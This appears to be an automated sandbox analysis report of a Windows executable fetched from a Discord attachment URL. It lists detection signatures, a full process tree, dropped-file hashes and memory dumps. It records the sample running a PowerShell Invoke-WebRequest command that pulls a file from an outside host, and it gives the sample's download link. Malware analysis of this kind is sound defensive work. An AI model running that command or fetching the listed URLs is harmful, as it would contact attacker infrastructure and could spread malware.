Analysis

  • max time kernel
    95s
  • max time network
    94s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240802-en
  • resource tags

    arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    25/08/2024, 06:57

General

  • Target
    https://cdn.discordapp.com/ephemeral-attachments/1275613666225557524/1277159644758016000/6689B734CAAD.exe?ex=66cc271b&is=66cad59b&hm=c0aa2dc0f1378575e02cb41475bcfdf521b2d9a89bdb3ebd5a700964225f7231&
  • Sample240825-hqya2sseqm

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • NTFS ADS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 35 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cdn.discordapp.com/ephemeral-attachments/1275613666225557524/1277159644758016000/6689B734CAAD.exe?ex=66cc271b&is=66cad59b&hm=c0aa2dc0f1378575e02cb41475bcfdf521b2d9a89bdb3ebd5a700964225f7231&
    1⤵
    • Enumerates system info in registry
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2852
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd45b33cb8,0x7ffd45b33cc8,0x7ffd45b33cd8
      2⤵
        PID:3984
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1832 /prefetch:2
        2⤵
          PID:2904
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1360
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2608 /prefetch:8
          2⤵
            PID:5332
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3188 /prefetch:1
            2⤵
              PID:5328
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3196 /prefetch:1
              2⤵
                PID:5704
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4828 /prefetch:1
                2⤵
                  PID:2168
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5392 /prefetch:8
                  2⤵
                    PID:3776
                  • C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5696 /prefetch:8
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3940
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5808 /prefetch:8
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1976
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5808 /prefetch:1
                    2⤵
                      PID:5880
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5816 /prefetch:1
                      2⤵
                        PID:5996
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4944 /prefetch:1
                        2⤵
                          PID:1776
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5256 /prefetch:1
                          2⤵
                            PID:5228
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4640 /prefetch:1
                            2⤵
                              PID:4284
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5912 /prefetch:1
                              2⤵
                                PID:1848
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4716 /prefetch:1
                                2⤵
                                  PID:4188
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1720 /prefetch:1
                                  2⤵
                                    PID:3880
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1824,3113606342078603258,12195022556058400852,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6228 /prefetch:8
                                    2⤵
                                    • Subvert Trust Controls: Mark-of-the-Web Bypass
                                    • NTFS ADS
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:960
                                  • C:\Users\Admin\Downloads\6689B734CAAD.exe
                                    "C:\Users\Admin\Downloads\6689B734CAAD.exe"
                                    2⤵
                                    • Checks BIOS information in registry
                                    • Executes dropped EXE
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:5820
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://wow-bams.vercel.app/fc54f47048e8d154178961ab383301e0521fa332e47782936e2247fd679637c3.txt' -OutFile 'response.txt'"
                                      3⤵
                                        PID:1596
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -Command "Invoke-WebRequest -Uri 'https://wow-bams.vercel.app/fc54f47048e8d154178961ab383301e0521fa332e47782936e2247fd679637c3.txt' -OutFile 'response.txt'"
                                          4⤵
                                          • Blocklisted process makes network request
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:5148
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c cls
                                        3⤵
                                          PID:5568
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c pause
                                          3⤵
                                            PID:1948
                                      • C:\Windows\System32\CompPkgSrv.exe
                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                        1⤵
                                          PID:5652
                                        • C:\Windows\System32\CompPkgSrv.exe
                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                          1⤵
                                            PID:3408

                                          Network

                                                MITRE ATT&CK Enterprise v15

                                                Replay Monitor

                                                Loading Replay Monitor...

                                                Downloads

                                                settings.dat

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                • Size 152B
                                                • SHA256 593f20dfb73d2b81a17bfcc1f246848080dfc96898a1a62c5ddca62105ed1292
                                                • MD5 SHA1 SHA512

                                                settings.dat

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                • Size 152B
                                                • SHA256 448d09169319374935a249b1fc76bcf2430b4e1436611f3c2f3331b6eafe55a2
                                                • MD5 SHA1 SHA512

                                                the-real-index

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                • Size 456B
                                                • SHA256 45ddcc8256b3dadbb634e8bbf4fbf1b0992d6bf518a6951ae0a96c3e0bb518b9
                                                • MD5 SHA1 SHA512

                                                Network Persistent State

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                                • Size 186B
                                                • SHA256 ef1739b833a1048ee1bd55dcbac5b1397396faca1ad771f4d6c2fe58899495a3
                                                • MD5 SHA1 SHA512

                                                Preferences

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                • Size 5KB
                                                • SHA256 b589b06119668d1fb90f2d4de797ceba8b0aaf11c39a7ec5c6bd3ad07380dce5
                                                • MD5 SHA1 SHA512 SSDEEP

                                                Preferences

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                • Size 6KB
                                                • SHA256 71f47e556e77fe23168f248ca61c82cdd2caf557c69bda15c721d750b6b2959a
                                                • MD5 SHA1 SHA512 SSDEEP

                                                Preferences

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                • Size 5KB
                                                • SHA256 ab31ca473bb70f26b492d6ec76c8134c5db9599c3125ea5c75a2de4f4474f8e7
                                                • MD5 SHA1 SHA512 SSDEEP

                                                CURRENT

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                                                • Size 16B
                                                • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                                • MD5 SHA1 SHA512

                                                CURRENT

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                                                • Size 16B
                                                • SHA256 1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167
                                                • MD5 SHA1 SHA512

                                                Local State

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                • Size 11KB
                                                • SHA256 a66789e297be46afca67783b561ea920e87f4fb4a1b0e28fe1f3f5adcc628878
                                                • MD5 SHA1 SHA512 SSDEEP

                                                Local State

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                • Size 11KB
                                                • SHA256 9a90741e312148d316ed93a291b8c1d70456ae8fcdc7e1f720adeeed07f2f392
                                                • MD5 SHA1 SHA512 SSDEEP

                                                __PSScriptPolicyTest_aj12xbqe.ro4.ps1

                                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aj12xbqe.ro4.ps1
                                                • Size 60B
                                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                • MD5 SHA1 SHA512

                                                6689B734CAAD.exe:Zone.Identifier

                                                • Path C:\Users\Admin\Downloads\6689B734CAAD.exe:Zone.Identifier
                                                • Size 26B
                                                • SHA256 eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913
                                                • MD5 SHA1 SHA512

                                                Unconfirmed 647528.crdownload

                                                • Path C:\Users\Admin\Downloads\Unconfirmed 647528.crdownload
                                                • Size 3.2MB
                                                • SHA256 ae461872b930bb01c8773039fd1def155bdec5561813d148b25b699fca9a85ec
                                                • MD5 SHA1 SHA512 SSDEEP

                                                response.txt

                                                • Path C:\Users\Admin\Downloads\response.txt
                                                • Size 5B
                                                • SHA256 b79477a2ba5ca2498dcd7896a2668cbce929f6ac8744bde79138275495d27104
                                                • MD5 SHA1 SHA512

                                                memory/5148-216-0x000002C6555A0000-0x000002C6555C2000-memory.dmp

                                                memory/5820-210-0x00007FF7BFAA0000-0x00007FF7C0358000-memory.dmp

                                                memory/5820-234-0x00007FF7BFAA0000-0x00007FF7C0358000-memory.dmp